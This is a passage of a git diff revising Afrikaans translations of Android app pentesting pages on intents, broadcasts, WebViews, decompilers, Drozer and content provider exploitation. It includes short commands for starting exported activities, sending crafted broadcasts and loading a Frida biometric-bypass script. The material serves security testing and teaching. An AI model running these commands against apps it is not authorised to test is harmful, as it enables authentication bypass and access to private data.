wees om **enige aksie namens die slagoffer** te doen. +Hierdie laat ander toepassings toe om **optrede namens jou toepassing te neem**, met jou app se identiteit en toestemmings. Om 'n Pending Intent te konstrueer, moet daar **'n intent en die aksie wat uitgevoer moet word, gespesifiseer word**. As die **verklaarde intent nie Eksplisiet** is (nie verklaar watter intent dit kan oproep nie), kan 'n **kwaadwillige toepassing die verklaarde aksie** namens die slagoffer-app uitvoer. Boonop, **as 'n aksie nie gespesifiseer is nie**, sal die kwaadwillige app in staat wees om **enige aksie namens die slagoffer** te doen. ### Broadcast Intents -In teenstelling met die vorige intents, wat slegs deur een app ontvang word, **kan broadcast intents deur verskeie apps ontvang word**. Vanaf API weergawe 14 is dit egter **moontlik om die app wat die boodskap moet ontvang** te spesifiseer met behulp van Intent.setPackage. +In teenstelling met die vorige intents, wat slegs deur een app ontvang word, **kan broadcast intents deur meerdere apps ontvang word**. Vanaf API weergawe 14 is dit egter **moontlik om die app wat die boodskap moet ontvang, te spesifiseer** met behulp van Intent.setPackage. Alternatiewelik is dit ook moontlik om **'n toestemming te spesifiseer wanneer die broadcast gestuur word**. Die ontvangende app sal daardie toestemming moet hê. -Daar is **twee tipes** Uitsendings: **Normaal** (asynchrone) en **Geordende** (synchroniese). Die **volgorde** is gebaseer op die **geconfigureerde prioriteit binne die ontvanger** element. **Elke app kan die Broadcast verwerk, oordra of laat val.** +Daar is **twee tipes** Uitsendings: **Normaal** (asynchrone) en **Geordende** (sinchrone). Die **volgorde** is gebaseer op die **geconfigureerde prioriteit binne die ontvanger** element. **Elke app kan die Uitsending verwerk, oordra of laat val.** -Dit is moontlik om 'n **broadcast** te **stuur** met die funksie `sendBroadcast(intent, receiverPermission)` van die `Context` klas.\ +Dit is moontlik om 'n **uitsending** te **stuur** met die funksie `sendBroadcast(intent, receiverPermission)` van die `Context` klas.\ Jy kan ook die funksie **`sendBroadcast`** van die **`LocalBroadCastManager`** gebruik wat verseker dat die **boodskap nooit die app verlaat nie**. Deur dit te gebruik, sal jy selfs nie 'n ontvanger komponent hoef te eksporteer nie. ### Sticky Broadcasts @@ -180,11 +180,11 @@ Hierdie soort Uitsendings **kan lank nadat hulle gestuur is, toeganklik wees**.\ Hierdie is in API vlak 21 verouderd en dit word aanbeveel om **nie hulle te gebruik nie**.\ **Hulle laat enige toepassing toe om die data te snuffel, maar ook om dit te wysig.** -As jy funksies vind wat die woord "sticky" bevat soos **`sendStickyBroadcast`** of **`sendStickyBroadcastAsUser`**, **kontroleer die impak en probeer om hulle te verwyder**. +As jy funksies vind wat die woord "sticky" bevat, soos **`sendStickyBroadcast`** of **`sendStickyBroadcastAsUser`**, **kontroleer die impak en probeer om hulle te verwyder**. ## Deep links / URL schemes -In Android toepassings, **deep links** word gebruik om 'n aksie (Intent) direk deur 'n URL te begin. Dit word gedoen deur 'n spesifieke **URL skema** binne 'n aktiwiteit te verklaar. Wanneer 'n Android toestel probeer om **'n URL met hierdie skema te benader**, word die gespesifiseerde aktiwiteit binne die toepassing gelaai. +In Android-toepassings word **deep links** gebruik om 'n aksie (Intent) direk deur 'n URL te begin. Dit word gedoen deur 'n spesifieke **URL skema** binne 'n aktiwiteit te verklaar. Wanneer 'n Android-toestel probeer om **'n URL met hierdie skema te benader**, word die gespesifiseerde aktiwiteit binne die toepassing gelaai. Die skema moet in die **`AndroidManifest.xml`** lêer verklaar word: ```xml @@ -221,7 +221,7 @@ Die **Android Interface Definition Language (AIDL)** is ontwerp om kommunikasie ### Sleutelkonsepte -- **Gekoppelde Dienste**: Hierdie dienste gebruik AIDL vir IPC, wat aktiwiteite of komponente in staat stel om aan 'n diens te bind, versoeke te maak en antwoorde te ontvang. Die `onBind` metode in die diens se klas is krities vir die begin van interaksie, wat dit 'n belangrike area maak vir sekuriteitsherziening in die soeke na kwesbaarhede. +- **Gekoppelde Dienste**: Hierdie dienste gebruik AIDL vir IPC, wat aktiwiteite of komponente in staat stel om aan 'n diens te bind, versoeke te maak en antwoorde te ontvang. Die `onBind` metode in die diens se klas is krities vir die inisiering van interaksie, wat dit 'n belangrike area maak vir sekuriteitsherziening in die soeke na kwesbaarhede. - **Messenger**: As 'n gekoppelde diens, fasiliteer Messenger IPC met 'n fokus op die verwerking van data deur die `onBind` metode. Dit is noodsaaklik om hierdie metode noukeurig te ondersoek vir enige onveilige datahantering of uitvoering van sensitiewe funksies. @@ -244,7 +244,7 @@ Die **laaieraktiwiteit** is die hooftoegangspunt tot 'n app, wat gelaai word wan ``` -Nie alle toepassings benodig 'n lanseeraktiwiteit nie, veral dié sonder 'n gebruikerskoppelvlak, soos agtergronddienste. +Nie alle toepassings benodig 'n laaieraktiwiteit nie, veral dié sonder 'n gebruikerskoppelvlak, soos agtergronddienste. Aktiwiteite kan beskikbaar gestel word aan ander toepassings of prosesse deur dit as "geëksporteer" in die manifest te merk. Hierdie instelling laat ander toepassings toe om hierdie aktiwiteit te begin: ```markdown @@ -286,19 +286,19 @@ Dienste is veelsydig; hulle kan op verskillende maniere geaktiveer word, met **I **Uitsendingsontvangers** dien as luisteraars in 'n boodskapstelsel, wat verskeie toepassings toelaat om op dieselfde boodskappe van die stelsel te reageer. 'n App kan **'n ontvanger registreer** op **twee primêre maniere**: deur die app se **Manifest** of **dynamies** binne die app se kode via die **`registerReceiver`** API. In die Manifest word uitsendings gefiltreer met toestemmings, terwyl dinamies geregistreerde ontvangers ook toestemmings kan spesifiseer tydens registrasie. -**Intent filters** is van kardinale belang in beide registrasiemetodes, wat bepaal watter uitsendings die ontvanger aktiveer. Sodra 'n ooreenstemmende uitsending gestuur word, word die ontvanger se **`onReceive`** metode aangeroep, wat die app in staat stel om dienooreenkomstig te reageer, soos om gedrag aan te pas in reaksie op 'n lae battery waarskuwing. +**Intent filters** is van kardinale belang in beide registrasiemetodes, wat bepaal watter uitsendings die ontvanger aktiveer. Sodra 'n ooreenstemmende uitsending gestuur word, word die ontvanger se **`onReceive`** metode aangeroep, wat die app in staat stel om ooreenkomstig te reageer, soos om gedrag aan te pas in reaksie op 'n lae battery waarskuwing. -Uitsendings kan **asynchrone** wees, wat alle ontvangers sonder volgorde bereik, of **sinchroniese**, waar ontvangers die uitsending ontvang op grond van gestelde prioriteite. Dit is egter belangrik om die potensiële sekuriteitsrisiko te noem, aangesien enige app homself kan prioriteer om 'n uitsending te onderskep. +Uitsendings kan **asynchrone** wees, wat alle ontvangers sonder volgorde bereik, of **synchronies**, waar ontvangers die uitsending ontvang op grond van ingestelde prioriteite. Dit is egter belangrik om die potensiële sekuriteitsrisiko te noem, aangesien enige app homself kan prioriteer om 'n uitsending te onderskep. Om 'n ontvanger se funksionaliteit te verstaan, soek na die **`onReceive`** metode binne sy klas. Hierdie metode se kode kan die ontvangde Intent manipuleer, wat die behoefte aan datavalidatie deur ontvangers beklemtoon, veral in **Geregelde Uitsendings**, wat die Intent kan wysig of laat val. ### Inhoudverskaffer -**Inhoudverskaffers** is noodsaaklik vir **die deel van gestruktureerde data** tussen toepassings, wat die belangrikheid van die implementering van **toestemmings** beklemtoon om datasekuriteit te verseker. Hulle laat toepassings toe om toegang te verkry tot data van verskeie bronne, insluitend databasisse, lêerstelsels of die web. Spesifieke toestemmings, soos **`readPermission`** en **`writePermission`**, is noodsaaklik om toegang te beheer. Daarbenewens kan tydelike toegang verleen word deur **`grantUriPermission`** instellings in die app se manifest, wat eienskappe soos `path`, `pathPrefix`, en `pathPattern` benut vir gedetailleerde toegangbeheer. +**Inhoudverskaffers** is noodsaaklik vir **die deel van gestruktureerde data** tussen toepassings, wat die belangrikheid van die implementering van **toestemmings** beklemtoon om datasekuriteit te verseker. Hulle laat toepassings toe om toegang te verkry tot data van verskeie bronne, insluitend databasisse, lêerstelsels of die web. Spesifieke toestemmings, soos **`readPermission`** en **`writePermission`**, is noodsaaklik om toegang te beheer. Boonop kan tydelike toegang verleen word deur **`grantUriPermission`** instellings in die app se manifest, wat eienskappe soos `path`, `pathPrefix`, en `pathPattern` benut vir gedetailleerde toegangbeheer. Invoervalidasie is van kardinale belang om kwesbaarhede, soos SQL-inspuiting, te voorkom. Inhoudverskaffers ondersteun basiese operasies: `insert()`, `update()`, `delete()`, en `query()`, wat datamanipulasie en -deling tussen toepassings fasiliteer. -**FileProvider**, 'n gespesialiseerde Inhoudverskaffer, fokus op die veilige deel van lêers. Dit word in die app se manifest gedefinieer met spesifieke eienskappe om toegang tot vouers te beheer, aangedui deur `android:exported` en `android:resource` wat na vouer konfigurasies verwys. Versigtigheid word aanbeveel wanneer daar direkte toegang gedeel word om te voorkom dat sensitiewe data per ongeluk blootgestel word. +**FileProvider**, 'n gespesialiseerde Inhoudverskaffer, fokus op die veilige deel van lêers. Dit word in die app se manifest gedefinieer met spesifieke eienskappe om toegang tot vouers te beheer, aangedui deur `android:exported` en `android:resource` wat na vouer konfigurasies verwys. Versigtigheid word aanbeveel wanneer daar vouers gedeel word om te voorkom dat sensitiewe data per ongeluk blootgestel word. Voorbeeld manifestverklaring vir FileProvider: ```xml @@ -325,7 +325,7 @@ Vir verdere inligting, kyk: WebViews is soos **mini webblaaiers** binne Android-apps, wat inhoud trek van die web of van plaaslike lêers. Hulle ondervind soortgelyke risiko's as gewone blaaiers, maar daar is maniere om hierdie **risiko's te verminder** deur spesifieke **instellings**. -Android bied twee hoof WebView tipes: +Android bied twee hoof WebView-tipes: - **WebViewClient** is uitstekend vir basiese HTML, maar ondersteun nie die JavaScript waarskuwing funksie nie, wat die toetsing van XSS-aanvalle beïnvloed. - **WebChromeClient** funksioneer meer soos die volle Chrome-blaaierervaring. @@ -342,13 +342,13 @@ Om lêer toegang te beheer: - Deaktiveer lêer toegang (`setAllowFileAccess(false)`) beperk toegang tot die lêerstelsel, met uitsonderings vir sekere bates, wat verseker dat hulle slegs vir nie-sensitiewe inhoud gebruik word. -## Ander App Komponente en Mobiele Toestelbestuur +## Ander App-komponente en Mobiele Toestelbestuur ### **Digitale Handtekening van Toepassings** -- **Digitale handtekening** is 'n moet vir Android-apps, wat verseker dat hulle **egte geskryf** is voor installasie. Hierdie proses gebruik 'n sertifikaat vir app-identifikasie en moet deur die toestel se pakketbestuurder geverifieer word tydens installasie. Apps kan **self-onderteken of gesertifiseer deur 'n eksterne CA** wees, wat beskerming bied teen ongemagtigde toegang en verseker dat die app ongeskonde bly tydens sy aflewering aan die toestel. +- **Digitale handtekening** is 'n moet vir Android-apps, wat verseker dat hulle **egte geskryf** is voor installasie. Hierdie proses gebruik 'n sertifikaat vir app-identifikasie en moet deur die toestel se pakketbestuurder geverifieer word tydens installasie. Apps kan **self-onderteken of gesertifiseer deur 'n eksterne CA** wees, wat beskerming bied teen ongeoorloofde toegang en verseker dat die app ongeskonde bly tydens sy aflewering aan die toestel. -### **App Verifikasie vir Verbeterde Sekuriteit** +### **App-verifikasie vir Verbeterde Sekuriteit** - Begin vanaf **Android 4.2**, 'n funksie genaamd **Verify Apps** laat gebruikers toe om apps vir veiligheid te laat nagaan voor installasie. Hierdie **verifikasieproses** kan gebruikers waarsku teen potensieel skadelike apps, of selfs die installasie van veral kwaadwillige apps voorkom, wat gebruikers se sekuriteit verbeter. diff --git a/src/mobile-pentesting/android-app-pentesting/android-task-hijacking.md b/src/mobile-pentesting/android-app-pentesting/android-task-hijacking.md index ba097b970..06bed3aca 100644 --- a/src/mobile-pentesting/android-app-pentesting/android-task-hijacking.md +++ b/src/mobile-pentesting/android-app-pentesting/android-task-hijacking.md @@ -6,7 +6,7 @@ In Android is 'n **taak** basies 'n stel aktiwiteite waarmee gebruikers interaksie het om 'n spesifieke werk te voltooi, georganiseer binne 'n **agterstapel**. Hierdie stapel rangskik aktiwiteite op grond van wanneer hulle geopen is, met die mees onlangse aktiwiteit wat boaan vertoon word as die **voorgrond aktiwiteit**. Op enige oomblik is slegs hierdie aktiwiteit sigbaar op die skerm, wat dit deel van die **voorgrond taak** maak. -Hier is 'n vinnige uiteensetting van aktiwiteitsoorgange: +Hier is 'n vinnige oorsig van aktiwiteitsoorgange: - **Aktiwiteit 1** begin as die enigste aktiwiteit in die voorgrond. - Die bekendstelling van **Aktiwiteit 2** druk **Aktiwiteit 1** na die agterstapel, wat **Aktiwiteit 2** na die voorgrond bring. @@ -19,7 +19,7 @@ Hier is 'n vinnige uiteensetting van aktiwiteitsoorgange: ### Oorsig van Taak Affiniteit en Begin Modusse -In Android toepassings spesifiseer **taak affiniteit** 'n aktiwiteit se verkiesde taak, wat tipies ooreenstem met die app se pakkie naam. Hierdie opstelling is noodsaaklik om 'n bewys-van-konsep (PoC) app te skep om die aanval te demonstreer. +In Android toepassings spesifiseer **taak affiniteit** 'n aktiwiteit se voorkeurtaak, wat tipies ooreenstem met die app se pakkie naam. Hierdie opstelling is noodsaaklik om 'n bewys-van-konsep (PoC) app te skep om die aanval te demonstreer. ### Begin Modusse diff --git a/src/mobile-pentesting/android-app-pentesting/apk-decompilers.md b/src/mobile-pentesting/android-app-pentesting/apk-decompilers.md index 9b54a0b19..7d8243e97 100644 --- a/src/mobile-pentesting/android-app-pentesting/apk-decompilers.md +++ b/src/mobile-pentesting/android-app-pentesting/apk-decompilers.md @@ -13,7 +13,7 @@ As die baanbrekende GUI Java decompiler, **JD-Gui** laat jou toe om Java kode bi **Jadx** bied 'n gebruikersvriendelike koppelvlak vir die dekompilering van Java kode uit Android toepassings. Dit word aanbeveel vir sy gebruiksgemak oor verskillende platforms. - Om die GUI te begin, navigeer na die bin-gids en voer uit: `jadx-gui` -- Vir opdraglyn gebruik, decompileer 'n APK met: `jadx app.apk` +- Vir opdraglyn gebruik, dekompileer 'n APK met: `jadx app.apk` - Om 'n uitvoergids te spesifiseer of dekompilering opsies aan te pas: `jadx app.apk -d --no-res --no-src --no-imports` ### [GDA-android-reversing-Tool](https://github.com/charles2gan/GDA-android-reversing-Tool) @@ -32,7 +32,7 @@ Met **Bytecode-Viewer** kan jy APK-lêers analiseer met behulp van verskeie deco ### [CFR](https://github.com/leibnitz27/cfr) -**CFR** is in staat om moderne Java funksies te decompileer. Gebruik dit soos volg: +**CFR** is in staat om moderne Java funksies te dekompileer. Gebruik dit soos volg: - Vir standaard dekompilering: `java -jar ./cfr.jar "app.jar" --outputdir "output_directory"` - Vir groot JAR-lêers, pas die JVM geheue toewysing aan: `java -Xmx4G -jar ./cfr.jar "app.jar" --outputdir "output_directory"` @@ -41,19 +41,19 @@ Met **Bytecode-Viewer** kan jy APK-lêers analiseer met behulp van verskeie deco **Fernflower**, 'n analitiese decompiler, vereis om van bron te bou. Nadat jy gebou het: -- Decompileer 'n JAR-lêer: `java -jar ./fernflower.jar "app.jar" "output_directory"` Laai dan die `.java` lêers uit die gegenereerde JAR met `unzip`. +- Dekompileer 'n JAR-lêer: `java -jar ./fernflower.jar "app.jar" "output_directory"` Laai dan die `.java` lêers uit die gegenereerde JAR met `unzip`. ### [Krakatau](https://github.com/Storyyeller/Krakatau) **Krakatau** bied gedetailleerde beheer oor dekompilering, veral vir die hantering van eksterne biblioteke. -- Gebruik Krakatau deur die standaard biblioteek pad en die JAR-lêer wat gedekomplileer moet word, spesifiseer: `./Krakatau/decompile.py -out "output_directory" -skip -nauto -path "./jrt-extractor/rt.jar" "app.jar"` +- Gebruik Krakatau deur die standaard biblioteek pad en die JAR-lêer wat gedekompileer moet word, spesifiseer: `./Krakatau/decompile.py -out "output_directory" -skip -nauto -path "./jrt-extractor/rt.jar" "app.jar"` ### [procyon](https://github.com/mstrobel/procyon) Vir eenvoudige dekompilering met **procyon**: -- Decompileer 'n JAR-lêer na 'n spesifieke gids: `procyon -jar "app.jar" -o "output_directory"` +- Dekompileer 'n JAR-lêer na 'n spesifieke gids: `procyon -jar "app.jar" -o "output_directory"` ### [frida-DEXdump](https://github.com/hluwa/frida-dexdump) diff --git a/src/mobile-pentesting/android-app-pentesting/avd-android-virtual-device.md b/src/mobile-pentesting/android-app-pentesting/avd-android-virtual-device.md index 1a7ed35dd..f84aa7710 100644 --- a/src/mobile-pentesting/android-app-pentesting/avd-android-virtual-device.md +++ b/src/mobile-pentesting/android-app-pentesting/avd-android-virtual-device.md @@ -47,7 +47,7 @@ _**kies** die telefoon wat jy wil gebruik_ en klik op _**Volgende.**_ > > -In die huidige weergave gaan jy in staat wees om **die Android beeld te kies en af te laai** wat die telefoon gaan loop: +In die huidige weergave gaan jy in staat wees om **te kies en die Android beeld af te laai** wat die telefoon gaan loop:
@@ -117,12 +117,12 @@ Type: Platform API level: 29 Revision: 4 ``` -Op hierdie oomblik het jy besluit watter toestel jy wil gebruik en jy het die Android-beeld afgelaai, so **jy kan die virtuele masjien skep met**: +Op hierdie oomblik het jy die toestel besluit wat jy wil gebruik en jy het die Android-beeld afgelaai, so **jy kan die virtuele masjien skep met**: ```bash C:\Users\\AppData\Local\Android\Sdk\tools\bin\avdmanager.bat -v create avd -k "system-images;android-28;google_apis;x86_64" -n "AVD9" -d "Nexus 5X" ``` In die laaste opdrag **het ek 'n VM genaamd** "_AVD9_" geskep met die **toestel** "_Nexus 5X_" en die **Android beeld** "_system-images;android-28;google_apis;x86_64_".\ -Nou kan jy die **virtuele masjiene** wat jy geskep het lys met: +Nou kan jy **die virtuele masjiene** wat jy geskep het lys met: ```bash C:\Users\\AppData\Local\Android\Sdk\tools\bin\avdmanager.bat list avd @@ -173,14 +173,14 @@ Daar is egter **'n baie verskillende nuttige opsies op die opdraglyn** wat jy ka **Stelsel** -- `-selinux {disabled|permissive}` : Stel die Security-Enhanced Linux-sekuriteitsmodule op ofwel die gedeaktiveerde of permissiewe modus op 'n Linux-bedryfstelsel. +- `-selinux {disabled|permissive}` : Stel die Security-Enhanced Linux-sekuriteitsmodule op ofwel gedeaktiveer of permissiewe modus op 'n Linux-bedryfstelsel. - `-timezone Europe/Paris` : Stel die tydsone vir die virtuele toestel - `-screen {touch(default)|multi-touch|o-touch}` : Stel die geëmuleerde aanraakskermmodus. - **`-writable-system`** : Gebruik hierdie opsie om 'n skryfbare stelselfoto tydens jou emulasiesessie te hê. Jy sal ook `adb root; adb remount` moet uitvoer. Dit is baie nuttig om 'n nuwe sertifikaat in die stelsel te installeer. ## Rooting 'n Play Store toestel -As jy 'n toestel met Play Store afgelaai het, sal jy nie in staat wees om direk root te kry nie, en jy sal hierdie foutboodskap ontvang +As jy 'n toestel met Play Store afgelaai het, gaan jy nie in staat wees om direk root te kry nie, en jy sal hierdie foutboodskap ontvang ``` $ adb root adbd cannot run as root in production builds diff --git a/src/mobile-pentesting/android-app-pentesting/bypass-biometric-authentication-android.md b/src/mobile-pentesting/android-app-pentesting/bypass-biometric-authentication-android.md index 908c7b228..f6ae7edf3 100644 --- a/src/mobile-pentesting/android-app-pentesting/bypass-biometric-authentication-android.md +++ b/src/mobile-pentesting/android-app-pentesting/bypass-biometric-authentication-android.md @@ -48,7 +48,7 @@ frida -U -l script-to-bypass-authentication.js --no-pause -f com.generic.in Terugvoering gereedskap soos `APKTool`, `dex2jar`, en `JD-GUI` kan gebruik word om 'n Android-toepassing te dekompileer, sy bronnkode te lees, en sy outentikasie-meganisme te verstaan. Die stappe sluit gewoonlik in: -1. **Dekomplilering van die APK**: Converteer die APK-lêer na 'n meer menslike leesbare formaat (soos Java-kode). +1. **Dekomplilering van die APK**: Skakel die APK-lêer om na 'n meer menslike leesbare formaat (soos Java-kode). 2. **Analise van die Kode**: Soek na die implementering van vingerafdrukoutentikasie en identifiseer potensiële swakpunte (soos terugvalmeganismes of onvanpaste valideringskontroles). 3. **Hersamestelling van die APK**: Nadat die kode gewysig is om vingerafdrukoutentikasie te omseil, word die toepassing hersamestel, onderteken, en op die toestel geïnstalleer vir toetsing. diff --git a/src/mobile-pentesting/android-app-pentesting/content-protocol.md b/src/mobile-pentesting/android-app-pentesting/content-protocol.md index 4346ddf01..2bf58a9f5 100644 --- a/src/mobile-pentesting/android-app-pentesting/content-protocol.md +++ b/src/mobile-pentesting/android-app-pentesting/content-protocol.md @@ -41,7 +41,7 @@ content query --uri content://media/external/file --projection _id,_data | grep ``` ### Chrome CVE-2020-6516: Same-Origin-Policy Bypass -Die _Same Origin Policy_ (SOP) is 'n sekuriteitsprotokol in blaaiers wat webbladsye beperk om met hulpbronne van verskillende oorspronge te kommunikeer, tensy dit eksplisiet toegelaat word deur 'n Cross-Origin-Resource-Sharing (CORS) beleid. Hierdie beleid is daarop gemik om inligtingslekke en cross-site request forgery te voorkom. Chrome beskou `content://` as 'n plaaslike skema, wat strenger SOP-reëls impliseer, waar elke plaaslike skema-URL as 'n aparte oorsprong behandel word. +Die _Same Origin Policy_ (SOP) is 'n sekuriteitsprotokol in blaaiers wat webbladsye beperk om met hulpbronne van verskillende oorspronge te kommunikeer tensy dit eksplisiet toegelaat word deur 'n Cross-Origin-Resource-Sharing (CORS) beleid. Hierdie beleid het ten doel om inligtingslekke en cross-site request forgery te voorkom. Chrome beskou `content://` as 'n plaaslike skema, wat strenger SOP-reëls impliseer, waar elke plaaslike skema-URL as 'n aparte oorsprong behandel word. Egter, CVE-2020-6516 was 'n kwesbaarheid in Chrome wat 'n omseiling van SOP-reëls vir hulpbronne wat via 'n `content://` URL gelaai is, toegelaat het. In werklikheid kon JavaScript-kode van 'n `content://` URL toegang verkry tot ander hulpbronne wat via `content://` URL's gelaai is, wat 'n beduidende sekuriteitskwessie was, veral op Android-toestelle wat weergawes voor Android 10 gebruik, waar geskaalde stoor nie geïmplementeer was nie. diff --git a/src/mobile-pentesting/android-app-pentesting/drozer-tutorial/README.md b/src/mobile-pentesting/android-app-pentesting/drozer-tutorial/README.md index cb497e349..609eb257b 100644 --- a/src/mobile-pentesting/android-app-pentesting/drozer-tutorial/README.md +++ b/src/mobile-pentesting/android-app-pentesting/drozer-tutorial/README.md @@ -13,7 +13,7 @@ ## Installasie -Installeer Drozer Client binne jou gasheer. Laai dit af van die [nuutste vr releases](https://github.com/mwrlabs/drozer/releases). +Installeer Drozer Client binne jou gasheer. Laai dit af van die [nuutste vrylatinge](https://github.com/mwrlabs/drozer/releases). ```bash pip install drozer-2.4.4-py2-none-any.whl pip install twisted @@ -23,7 +23,7 @@ Laai die drozer APK af en installeer dit vanaf die [nuutste vrystellings](https: ```bash adb install drozer.apk ``` -### Begin die Bediening +### Begin die Bediener Agent loop op poort 31415, ons moet [port forward](https://en.wikipedia.org/wiki/Port_forwarding) om die kommunikasie tussen die Drozer Client en Agent te vestig, hier is die opdrag om dit te doen: ```bash @@ -42,17 +42,17 @@ drozer console connect | **Opdragte** | **Beskrywing** | | --------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------- | | **Help MODULE** | Wys hulp van die geselekteerde module | -| **list** | Wys 'n lys van alle drozer modules wat in die huidige sessie uitgevoer kan word. Dit verberg modules wat jy nie die toepaslike regte het om te loop nie. | +| **list** | Wys 'n lys van alle drozer modules wat in die huidige sessie uitgevoer kan word. Dit verberg modules waarvoor jy nie die toepaslike toestemmings het nie. | | **shell** | Begin 'n interaktiewe Linux-skaal op die toestel, in die konteks van die Agent. | -| **clean** | Verwyder tydelike lêers wat deur drozer op die Android-toestel gestoor is. | +| **clean** | Verwyder tydelike lêers wat deur drozer op die Android-toestel gestoor is. | | **load** | Laai 'n lêer wat drozer opdragte bevat en voer dit in volgorde uit. | | **module** | Vind en installeer addisionele drozer modules van die Internet. | | **unset** | Verwyder 'n benoemde veranderlike wat drozer aan enige Linux-skaal wat dit genereer, deurgee. | | **set** | Stoor 'n waarde in 'n veranderlike wat as 'n omgewingsveranderlike aan enige Linux-skaal wat deur drozer gegenereer word, deurgegee sal word. | | **shell** | Begin 'n interaktiewe Linux-skaal op die toestel, in die konteks van die Agent | | **run MODULE** | Voer 'n drozer module uit | -| **exploit** | Drozer kan eksploiters skep om in die toestel uit te voer. `drozer exploit list` | -| **payload** | Die eksploiters benodig 'n payload. `drozer payload list` | +| **exploit** | Drozer kan exploits skep om in die toestel uit te voer. `drozer exploit list` | +| **payload** | Die exploits benodig 'n payload. `drozer payload list` | ### Pakket @@ -95,8 +95,8 @@ Attack Surface: 2 services exported is debuggable ``` -- **Aktiwiteite**: Miskien kan jy 'n aktiwiteit begin en 'n tipe outorisering omseil wat jou moet verhinder om dit te begin. -- **Inhoudverskaffers**: Miskien kan jy privaat data toegang of 'n sekere kwesbaarheid (SQL Injection of Path Traversal) benut. +- **Aktiwiteite**: Miskien kan jy 'n aktiwiteit begin en 'n tipe magtiging omseil wat jou moet verhinder om dit te begin. +- **Inhoudverskaffers**: Miskien kan jy privaat data toegang of 'n kwesbaarheid (SQL Injection of Path Traversal) benut. - **Dienste**: - **is debuggable**: [Leer meer](./#is-debuggeable) @@ -121,16 +121,16 @@ Miskien kan jy 'n aktiwiteit begin en 'n tipe magtiging omseil wat jou moet keer ```bash dz> run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList ``` -U kan ook 'n geexporteerde aktiwiteit vanaf **adb** begin: +U kan ook 'n geëksporteerde aktiwiteit vanaf **adb** begin: - Pakketnaam is com.example.demo -- Geexporteerde Aktiwiteitnaam is com.example.test.MainActivity +- Geëksporteerde Aktiwiteitnaam is com.example.test.MainActivity ```bash adb shell am start -n com.example.demo/com.example.test.MainActivity ``` ### Inhoudverskaffers -Hierdie pos was te groot om hier te wees, so **jy kan** [**dit op sy eie bladsy hier toegang**](exploiting-content-providers.md) verkry. +Hierdie pos was te groot om hier te wees, so **jy kan** [**dit op sy eie bladsy hier toegang**](exploiting-content-providers.md). ### Dienste @@ -138,7 +138,7 @@ Hierdie pos was te groot om hier te wees, so **jy kan** [**dit op sy eie bladsy ```markup ``` -Binne die kode **kontroleer** vir die \*\*`handleMessage`\*\* funksie wat die **boodskap** sal **ontvang**: +Binnenshuis die kode **kontroleer** vir die \*\*`handleMessage`\*\* funksie wat die **boodskap** sal **ontvang**: ![](<../../../images/image (82).png>) @@ -181,7 +181,7 @@ run app.service.send com.mwr.example.sieve com.mwr.example.sieve.AuthService --m **In die Android basiese inligting afdeling kan jy sien wat 'n Uitsendingsontvanger is**. -Nadat jy hierdie Uitsendingsontvangers ontdek het, moet jy die **kode** daarvan nagaan. Let veral op die **`onReceive`** funksie, aangesien dit die ontvangde boodskappe sal hanteer. +Nadat jy hierdie Uitsendingsontvangers ontdek het, moet jy die **kode** daarvan nagaan. Gee spesiale aandag aan die **`onReceive`** funksie, aangesien dit die ontvangde boodskappe sal hanteer. #### **Detecteer alle** uitsendingsontvangers ```bash @@ -229,13 +229,13 @@ run app.broadcast.send --action org.owasp.goatdroid.fourgoats.SOCIAL_SMS --compo ### Is debuggeable 'n Produksie APK moet nooit debuggeable wees.\ -Dit beteken dat jy 'n **java debugger** aan die lopende toepassing kan heg, dit in werks tyd kan inspekteer, breekpunte kan stel, stap vir stap kan gaan, veranderlike waardes kan versamel en selfs hulle kan verander. [InfoSec institute het 'n uitstekende artikel](../exploiting-a-debuggeable-applciation.md) oor hoe om dieper te delf wanneer jou toepassing debuggeable is en runtime kode in te voeg. +Dit beteken dat jy 'n **java debugger** aan die lopende toepassing kan heg, dit in werklike tyd kan inspekteer, breekpunte kan stel, stap vir stap kan gaan, veranderlike waardes kan versamel en selfs hulle kan verander. [InfoSec institute het 'n uitstekende artikel](../exploiting-a-debuggeable-applciation.md) oor hoe om dieper te delf wanneer jou toepassing debuggeable is en runtime kode in te voeg. Wanneer 'n toepassing debuggeable is, sal dit in die Manifest verskyn: ```xml ``` -Om toegang te verkry tot `content://com.mwr.example.sieve.DBContentProvider/Keys`, is die `READ_KEYS` toestemming nodig. Dit is interessant om op te let dat die pad `/Keys/` in die volgende afdeling toeganklik is, wat nie beskerm is nie weens 'n fout van die ontwikkelaar, wat `/Keys` beveilig het, maar `/Keys/` verklaar het. +Om toegang te verkry tot `content://com.mwr.example.sieve.DBContentProvider/Keys`, is die `READ_KEYS` toestemming nodig. Dit is interessant om op te let dat die pad `/Keys/` in die volgende afdeling toeganklik is, wat nie beskerm is nie weens 'n fout van die ontwikkelaar, wat `/Keys` beveilig het maar `/Keys/` verklaar het. **Miskien kan jy toegang verkry tot privaat data of 'n sekere kwesbaarheid benut (SQL Injection of Path Traversal).** @@ -54,11 +54,11 @@ content://com.mwr.example.sieve.DBContentProvider/Keys/ content://com.mwr.example.sieve.DBContentProvider/Passwords content://com.mwr.example.sieve.DBContentProvider/Passwords/ ``` -U moet ook die **ContentProvider kode** nagaan om na navrae te soek: +U moet ook die **ContentProvider kode** nagaan om vir navrae te soek: ![](<../../../images/image (121) (1) (1) (1).png>) -As u ook nie volle navrae kan vind nie, kan u **kyk watter name deur die ContentProvider verklaar word** in die `onCreate` metode: +As u ook nie volle navrae kan vind nie, kan u **kyk watter name deur die ContentProvider verklaar is** in die `onCreate` metode: ![](<../../../images/image (564).png>) @@ -67,7 +67,7 @@ Die navraag sal soos volg wees: `content://name.of.package.class/declared_name` ## **Databasis-ondersteunde Inhoudverskaffers** Waarskynlik word die meeste van die Inhoudverskaffers as **koppelvlak** vir 'n **databasis** gebruik. Daarom, as u toegang kan verkry, kan u in staat wees om **inligting te onttrek, op te dateer, in te voeg en te verwyder**.\ -Kyk of u **toegang tot sensitiewe inligting** kan verkry of probeer om dit te verander om **autorisasiemeganismes** te omseil. +Kyk of u **toegang tot sensitiewe inligting** kan kry of probeer om dit te verander om **autorisasiemeganismes** te omseil. Wanneer u die kode van die Inhoudverskaffer nagaan, **kyk** ook vir **funksies** wat soos volg genoem word: _query, insert, update en delete_: @@ -95,7 +95,7 @@ Deur die databasis te ondervra, sal jy die **naam van die kolomme** leer, dan ka ![](<../../../images/image (173).png>) -_Nota dat jy in invoeg en opdatering --string kan gebruik om 'n string aan te dui, --double om 'n dubbel aan te dui, --float, --integer, --long, --short, --boolean_ +_Notice dat jy in invoeg en opdatering --string kan 